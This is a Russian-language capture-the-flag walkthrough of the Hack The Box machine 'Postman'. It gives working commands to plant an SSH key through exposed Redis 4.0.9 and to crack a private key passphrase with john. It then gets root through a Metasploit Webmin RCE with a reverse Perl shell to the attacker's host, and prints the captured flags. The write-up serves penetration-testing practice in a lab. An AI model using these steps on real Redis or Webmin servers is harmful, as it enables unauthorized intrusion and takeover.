

POSTMAN 10.10.10.160

USER OWNER



Просканируем nmap'ом все доступные порты: `nmap -sV -sC -T5 -v -p- 10.10.10.160`

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_ http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis    Redis key-value store 4.0.9
10000/tcp open  http     MiniServ 1.910 (Webmin httpd)
|_ http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_ http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Видим 80 - http, 22 - ssh, 6379 - redis, 10000 Webmin server

На сайте нет ничего интересного и попытки дирба оказались пустой тратой времени :

```
http://10.10.10.160/.hta/ (Status: 403)
http://10.10.10.160/.htaccess/ (Status: 403)
http://10.10.10.160/.htpasswd/ (Status: 403)
http://10.10.10.160/css/ (Status: 200)
http://10.10.10.160/fonts/ (Status: 200)
http://10.10.10.160/icons/ (Status: 403)
http://10.10.10.160/images/ (Status: 200)
http://10.10.10.160/js/ (Status: 200)
http://10.10.10.160/server-status/ (Status: 403)
http://10.10.10.160/upload/ (Status: 200)
```

Порт redis оказался намного интереснее и поискав готовые сплойты натываемся на это: [Exploit github](#) Однако перед этим пробуем подключиться к redis командой `redis-cli -h 10.10.10.160` для проверки. После успешного входа узнаем версию, статус и прочую информацию про сервис `info` из интересного для нас - `redis_version:4.0.9` Эта версия уязвима и мы можем подготавливать наш спloit. Изменения кода : `ip_address = argv[1]` `username = argv[2]` Генерируем ssh и создаем файл, который мы будем выгружать:

```
ssh-keygen -t rsa
(echo -e "\n\n"; cat /home/nick/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
```

Зарузка на уязвимую машину выглядит следующим образом :

```
redis-cli -h 10.10.10.160 flushall
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save
```

Запускаем наш эксплоит `./redis.py 10.10.10.160 redis` и после часовой находим на машине, находим файл `id_rsa.bak` находящийся в папке `/opt` Это файл с приватным ключом ssh, далее пытаемся его взломать :

```
ssh2john.py id_rsa.bak > privateSSH # SSH to HASH

sudo john hash -wordlist=/usr/share/wordlists/rockyou.txt # Hash to utf-8
computer2008 (id_rsa.bak)
```

Получаем пароль пользователя машины - `computer2008`, юзер - `Matt` (это видно перейдя в `/home`). Используем команду `su Matt` с паролем `computer2008`, чтобы авторизоваться под ним. И `cat user.txt` дает нам пароль для USER

USER owner - 517ad0ec2458ca97af8d93aac08a2f3c

ROOT OWNER

Для рута нам потребуется 10000 порт, на котором расположен сервис WebAdmin. Поиски готовых эксплойтов в metasploit приводит нас к [exploit/linux/http/webmin_packageup_rce](#). Использование эксплойта :

```
Name      Current Setting  Required  Description
----      -
PASSWORD  computer2008     yes       Webmin Password
Proxies    [ ... ]          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT      10000            yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                yes       Base path for Webmin application
USERNAME   Matt             yes       Webmin Username
VHOST      [ ... ]          no        HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name      Current Setting  Required  Description
----      -
LHOST     10.10.14.229     yes       The listen address (an interface may be specified)
LPORT     9004             yes       The listen port
```

Необходимо установить SSL - **true** и RHOST машины, узнать который можно с помощью команды **sudo ifconfig**. Запускаем данный спloit, переходим в папку **/root** и забираем наш хеш для ROOT owner

```
# cd /root
cd /root
# ls
ls
redis-5.0.0  root.txt
# cat root.txt
cat root.txt
a257741c5bed8be7778c6ed95686ddce
#
```

ROOT owner - a257741c5bed8be7778c6ed95686ddce

More information

[Metasploit exploit github](#)